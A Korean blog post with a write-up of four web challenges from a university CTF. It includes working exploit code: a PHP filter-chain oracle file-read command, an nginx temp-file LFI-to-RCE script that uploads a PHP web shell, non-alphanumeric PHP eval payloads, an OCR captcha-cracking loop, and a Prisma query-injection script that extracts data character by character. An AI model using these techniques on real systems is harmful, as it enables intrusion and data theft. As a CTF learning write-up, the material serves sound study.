이번에 Hspace Discord 방에서 숭실대 CTF를 한다길래 참가했다.
하필 설날이라 풀참가는 못하고 친척집 올라가는 버스에서 잠깐 풀었다.
웹은 총 4문제 나왔는데 문제 퀄리티가 꽤 좋다 생각해서 Writeup까지 작성한다.
Web3문제도 하나 풀었었는데 얘는 너무 쉬운거라 제외시키겠다.
1. HellOphp
<?php
include 'config.php'; # include flag
if(!isset($_GET['try'])) {
highlight_file(__FILE__);
die();
}
if(preg_match("/config/", $_POST['dest'])) die("No Hack");
session_start();
$_SESSION['flag'] = $flag;
if(isset($_POST['dest'])) {
$tmp = hash_file('haval224,5', $_POST['dest']);
echo "Your hash: $tmp<hr />";
}
?>
SESSION값에 flag를 담고 hash_file로 원하는 파일의 해쉬값을 알 수 있다.
처음 봤을 때, haval224,5 해쉬값에 취약점이 있는지 확인했는데 딱히 그런 거 같지도 않고 막막했다.
근데 구글링을 하다가 아래 문서를 발견할 수 있었다.
https://github.com/synacktiv/php_filter_chains_oracle_exploit?tab=readme-ov-file
hash_file, file, file_get_contents 등의 함수에서 error-based를 활용해 파일 내용을 알아낼 수 있는 도구이다.
대충 원리를 찾아보니 php filter chain에서 쓰이는 iconv랑 dechunk등을 활용해서 버퍼오버플로우 일으켜서 에러 베이스로 요리조리 하는건데 각 에러마다 해당되는 문자가 있는 것 같다.
자세한건 아래 문서에서 확인할 수 있다.
https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle
위 깃헙 클론해서 /var/lib/php/sessions에 있는 세션파일 읽어오면 된다.
python3 filters_chain_oracle_exploit.py --target http://ssuctf.kr:31337/?try=1 --parameter dest --file /var/lib/php/sessions/sess_fb4jt023trg0b01d75afgr4k4j
2. Just Document Viewer
블랙박스 문제이다.
?page 쿼리로 LFI를 할 수 있는데 필터링이 몇가지 걸려있다.
시험해본결과 필터링은 요정도 걸려있는걸 알아냈다.
1. .html없을 시 필터링
2. sess,php,lib 등의 키워드 있을 시 필터링
요 두가지만 잘 피하면 된다.
1번은 그냥 아무대다가 a.html해놓고 /../로 없애면 되고 2번은 딱히 우회할 방법이 없어보였다.
그래서 위의 키워드를 사용하지 않는 php lfi rce 방법을 찾다가 서버가 nginx로 돌아간다는걸 파악했다.(응답헤더에 nginx서버정보 있음)
옛날에 nginx temp file사용해서 LFI -> RCE하는 기법을 알아뒀던 기억이 있어서 찾아보니깐 익스코드를 발견할 수 있었다.
위의 익스코드를 서버에 맞게 변경해주면 RCE가 가능하다.
import sys, threading, requests
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
URL = f'http://ssuctf.kr:9903/'
# find nginx worker processes
r = requests.get(URL, params={
'page': '../../../../../../proc/a.html/../cpuinfo'
})
cpus = r.text.count('processor')
r = requests.get(URL, params={
'page': '../../../../../../proc/sys/a.html/../kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
nginx_workers = []
for pid in range(pid_max):
r = requests.get(URL, params={
'page': f'../../../../../../proc/{pid}/a.html/../cmdline'
})
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
# brute force nginx's fds to include body pages via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'../../../../../../../proc/self/fd/{pid}/../a.html/../../../{pid}/fd/{fd}'
r = requests.get(URL, params={
'page': f,
'c': f'/readflag'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
근데 flag를 보면 요게 인텐이 아닌걸 알 수 있다.
끝나고 보니깐 2번의 필터링 방식을 \(역슬래쉬)로 우회할 수 있었다고 한다;;
주어진 info.php에 들어가면 phpinfo를 볼 수 있는데 해당 화면에서 php_session_upload_progress가 on인걸 볼 수 있고 session파일 위치가 /var/lib/php/sessions라는걸 확인 가능하다.
그래서 php_upload progress사용해서 세션파일에 페이로드 올리고 LFI로 보면은 될것이다. (귀찮아서 테스트는 안해봄)
3. Awawa
얘 보다가 시간없어서 끝났다.
<?php
include("flag.php");
$awawa=$_GET['2025_ssuctf.kr'];
if(isset($awawa)){
if(strlen($awawa)>14){
die('<iframe src="//youtube.com/embed/IGhkDhIRJsE" style="display:block; position:fixed; inset:0; width:100%; height:100%; z-index:99;"></iframe>');
}
if(preg_match("/[A-Za-z0-9_]+/",$awawa)){
die("[!] Invalid characters detected");
}
@eval($awawa);
} else{
highlight_file(__FILE__);
}
# flag.php contains readFlag() function. Good luck!
2025_ssuctf.kr 값을 GET으로 받고 이 값을 eval로 실행한다.
솔직히 저 eval로 실행하는건 쉽겠거니 하고 해봤는데 문제는 2025_ssuctf.kr을 못넘겨준다는 것이었다;;
실제로 테스트 해보면 ?2025_ssuctf.kr=1 을 하면은 2025_ssuctf_kr로 변환이 된다.
php에선 쿼리스트링으로 ., %2E, [, ] 이런 값이 넘어오면 알아서 _로 치환하는 별 이상한 sanitize 방법이 있다.
이거 우회하려고 구글 문서 다 뒤져봤는데 안나와서 나중에 풀이보니깐
2025[ssuctf.kr 이렇게 하면 [가 알아서 _로 치환되고 내부 조건문을 빠져나오면서 .이 _로 치환이 안된다고 한다.
왜 그런진 모르겠지만 ]도 아니고 [로 해야하고 ctf땐 로컬에서 저거 어떻게 되나 보려고 구현해서 해봤었는데
로컬에선 재현이 안됐다. 아마 최신버전으로 올라오면서 패치가 된 것 같다.
CTF 버전
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
로컬 버전
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
음 8버전이여서 그런 거 같은데 나중엔 버전 맞춰서 해야겠다.
여튼, 2025[ssuctf.kr로 우회 후도 문제이다.
eval을 사용해서 15문자 아래로 페이로드를 작성해야하고 영어와숫자 ascii는 사용하지 못한다.
이건 아래 문서 읽으면 어느정도 감이 잡힐 것이다.
https://www.jianshu.com/p/60fdf3880d3d
~(not) 과 urlencode를 사용해서 (~%8F%97%8F%96%91%99%90)(); 이렇게 하면 phpinfo()가 실행된다.
<?php
$a = 'phpinfo';
$b=~$a;
echo ~$a;
echo "------";
echo urlencode($b);
요거 이용해서 readFlag를 호출하면 되니 아래와 같이 해줬다.
<?php
$a = 'readFlag';
$b=~$a;
echo ~$a;
echo "------";
echo urlencode($b);
(~%8D%9A%9E%9B%B9%93%9E%98)();
// 출제자 풀이 : $%7B~%A0%B8%BA%AB%7D%7B%ff%7D();&%ff=readFlag
뒤에 세미콜론도 꼭 붙여야 한다.
4. prism
일단 코드를 보면 admin 계정을 먼저 획득해야 다음게 진행된다.
login이나 회원가입 기능에선 딱히 문제가 없고 볼 부분은 /captcha endpoint이다.
app.get('/captcha/challenge', async (c) => {
const session = c.get('session')
if (!session.get('username')) {
return c.json({ error: 'Unauthorized' }, 401)
}
const captchaCode = randomInt(1000, 9999).toString()
session.set('captchaCode', captchaCode)
const canvas = createCanvas(200, 200)
const ctx = canvas.getContext('2d')
ctx.font = '30px Impact'
ctx.rotate(0.2)
ctx.fillText(captchaCode, 50, 100)
c.header('Content-Type', 'image/png')
return c.body(canvas.toBuffer())
})
app.post('/captcha', async (c) => {
const { code } = await c.req.parseBody()
const session = c.get('session')
const captchaSuccessCnt = session.get('captchaSuccessCnt')
if (!session.get('username')) {
return c.json({ error: 'Unauthorized' }, 401)
}
if (!code) {
return c.json({ error: 'Captcha code is required' }, 400)
}
if (!captchaSuccessCnt) {
session.set('captchaSuccessCnt', 0)
}
const captchaCode = session.get('captchaCode')
if (captchaCode && code === captchaCode) {
session.set('captchaSuccessCnt', (captchaSuccessCnt || 0) + 1)
session.set('captchaCode', randomInt(1000, 9999).toString())
return c.json({ success: true, captchaSuccessCnt: captchaSuccessCnt })
}
session.set('captchaCode', randomInt(1000, 9999).toString())
return c.json({ success: false, captchaSuccessCnt: captchaSuccessCnt })
})
해당 captcha를 5000번 이상 통과하면 setAdmin을 할 수 있다.
app.get('/setAdmin', async (c) => {
const session = c.get('session')
const username = session.get('username')
const captchaSuccessCnt = session.get('captchaSuccessCnt')
if (!username) {
return c.json({ error: 'Unauthorized' }, 401)
}
if (!captchaSuccessCnt || captchaSuccessCnt < 5000) {
return c.json({ error: 'requirement not reached'}, 401)
}
try {
await prisma.user.update({
where: { username: username as string },
data: { isAdmin: true }
})
session.set('isAdmin', true)
} catch (error) {
return c.json({ error: 'error' }, 404)
}
return c.redirect('/')
})
일단 captcha 예시는 다음과 같다.
간단하게 canvas위에 글자만 rotate살짝해서 넣었다.
옛날에 captcha관련 문제를 ctf때 팀원이 풀었었는데 OCR로 했다는 말을 들었어서 OCR로 해당 문자를 알아내는 코드를 짜줬다.
import requests
import pytesseract
import numpy as np
from PIL import Image
from io import BytesIO
# OCR로 처리
# Tesseract 경로 설정 (Windows 사용 시 필요)
pytesseract.pytesseract.tesseract_cmd = r'C:\Program Files\Tesseract-OCR\tesseract.exe'
HOST = "http://ssuctf.kr:10002"
session_cookie = {"session" : "Fe26.2**9d6c18db9f7c3960ffc2f1f762a553b64ddfcd97755063ee072a898122124910*-57mek2re9MbAg8EgoIwbg*uUkufLlCuDVP0WyecddrnF3xm6_vmwwlvVW6w1B5zXcemiGtoXwpBV33fXIHZWC-**0d4dbead3d1500bf6eca8883eac1069279deda6f916cb05aa395bb6a4886f53c*ZO8FoZqSr2KAiT8L_HB-rtgj4_4RjBNzVCMw5wRin_0"}
# id: dddd, pw: dddd
def download_captcha():
response = requests.get(f"{HOST}/captcha/challenge", cookies=session_cookie)
if response.status_code == 200 and 'image/png' in response.headers['Content-Type']:
return response.content
else:
print("[-] CAPTCHA 이미지 다운로드 실패")
return None
def solve_captcha(image_data):
img = Image.open(BytesIO(image_data))
text = pytesseract.image_to_string(img, config='--psm 6 digits')
return text.strip()
def process_captcha(_):
captcha_image = download_captcha()
if captcha_image:
captcha_code = solve_captcha(captcha_image)
if captcha_code:
r = requests.post(f"{HOST}/captcha", data={'code': captcha_code}, cookies=session_cookie)
print(r.text)
def main():
for i in range(1, 5000):
captcha_image = download_captcha()
captcha_code = solve_captcha(captcha_image)
if captcha_code:
r = requests.post(f"{HOST}/captcha", data={'code':captcha_code}, cookies=session_cookie)
print(r.text)
if "5000" in r.text:
break
if __name__ == "__main__":
main()
만약 문자가 복잡하게 되어있으면 tensorflow 써서 학습시키고 번거롭게 해줘야겠지만 요기선 엄청 간단하기에 위에 코드만으로도 캡챠 crack이 가능하다.
한 10분~20분 정도 뒤에야 5000번 되기 때문에 차한잔 마시고 오면 된다.
중간에 요청을 너무 많이해서 끊어질때가 있는데 다시 돌려도 되고 sleep(0.1)정도 넣으면 된다.
그리고 간단한 코드라 완전히 100% crack하진 못하고 중간에 한번씩 false 뜨긴 한다.
그다음 /setAdmin으로 요청하면 admin권한이 얻어지고 /admin으로 요청을 보낼 수 있다.
app.post('/admin', async (c) => {
const session = c.get('session')
const username = session.get('username')
if (!username || !session.get('isAdmin')) {
return c.json({ error: 'Unauthorized' }, 401)
}
let users
try {
const query = await c.req.json()
users = await prisma.user.findMany({
where: query as any
})
} catch (error) {
console.log(error)
return c.json({ error: 'error' }, 404)
}
if (users.length === 0) {
return c.json(users, 404)
}
return c.json(users.filter((user) => user.username === username))
})
/admin을 보면은 user.findMany에서 where절에 injection을 할 수 있을것 처럼 보인다.
그러나 user모델에서 검색을 하고 있으므로 flag모델을 건드릴 수 없을 것 처럼 보이는데
일단 아래는 prisma로 선언된 모델들과 seed내용이다.
// This is your Prisma schema file,
// learn more about it in the docs: https://pris.ly/d/prisma-schema
// Looking for ways to speed up your queries, or scale easily with your serverless or edge functions?
// Try Prisma Accelerate: https://pris.ly/cli/accelerate-init
generator client {
provider = "prisma-client-js"
}
datasource db {
provider = "sqlite"
url = env("DATABASE_URL")
}
model User {
id Int @id @default(autoincrement())
username String @unique
password String
flags Flag[]
isAdmin Boolean @default(false)
}
model Flag {
id Int @id @default(autoincrement())
content String
ownerId Int?
owner User? @relation(fields: [ownerId], references: [id])
}
import { PrismaClient } from '@prisma/client'
import { createHash } from 'crypto'
const prisma = new PrismaClient()
async function main() {
const admin = await prisma.user.upsert({
where: { username: 'admin' },
update: { password: createHash('sha256').update('admin').digest('hex'), isAdmin: true },
create: { username: 'admin', password: createHash('sha256').update('admin').digest('hex'), isAdmin: true }
})
const flag = await prisma.flag.upsert({
where: { id: 1 },
update: { ownerId: admin.id },
create: { content: 'ssu{test_flag}', ownerId: admin.id }
})
console.log({ admin, flag })
}
main()
.then(async () => {
await prisma.$disconnect()
})
.catch(async (e) => {
console.error(e)
await prisma.$disconnect()
process.exit(1)
})
flag 값은 Flag라는 모델에 따로 선언이 되어있다.
그나마 다행인건 User모델에 flags라는 key가 있어 이걸로 잘하면 flag에 접근할 수 있을 지 모른다.
해당 내용을 바탕으로 지피티를 갈군 결과 다음과 같은 페이로드를 찾을 수 있었다.
{
"flags":{
"some":{
"content":{"contains":"ssu{"}
}
}
}
flags라는 값에 content에 ssu{가 있는지를 찾는 페이로드이다.
주의해야할 점은 contains에 _나 %가 들어가면 약간 sql에 like구문 같이 문자로 처리하기 때문에 이걸 빼줘야한다.
또한 해당 값이 있을 경우엔 200 status code가 해당 값이 없을 땐 404 Not Found가 뜨기에 이걸로 알아내면 된다.
import requests
HOST = "http://ssuctf.kr:10002"
cookie = {"session" : "Fe26.2**bb310a4b300ec3289b20660d1b4c65998763c33de72eb664cf559ca117dc885c*g9w_wZ2PayArdjJrE20TSA*-L9O7mji9QTgyMupl7qS3dNsqiHJWo1FIg92MWz03RbaFH90zG_BXXX-eXl0_kxs**aea2224b8234dddecf25bebf961cd15e746f11108d3df0e6f51a615e1689d426*6_lGvSOWUpXkCr2-uM6e7z6iA6gnbA3NG0SNkB3h1Uw"}
flag = "ssu{"
strings ="0123456789abcdefghijklmnopqrstuvwxyz}"
# 대소문자 구별 해줘야함 여기선 소문자만
while True:
for s in strings:
data = {"flags":{"some":{"content":{"contains":flag+s}}}}
r = requests.post(f"{HOST}/admin", json=data, cookies=cookie)
if r.status_code == 200:
flag += s
print(flag)
if flag.endswith('}'):
break
print(flag)
참고로 contains말고도 startsWith같은걸로도 된다.
총평
개꿀잼
'Web Hacking > WriteUp' 카테고리의 다른 글
LG U+ Security Hackathon: Growth Security 2024 후기 + Writeup (1) | 2024.12.07 |
---|---|
SECCON CTF 13 Quals 2024 Web Writeup (1) | 2024.11.26 |
Buckeye CTF 2024 instructions Writeup (0) | 2024.10.01 |
ASIS CTF 2024 Web Writeup (0) | 2024.09.22 |
WhiteHat School 2nd CTF SSH Tunneling Final Writeup (0) | 2024.09.05 |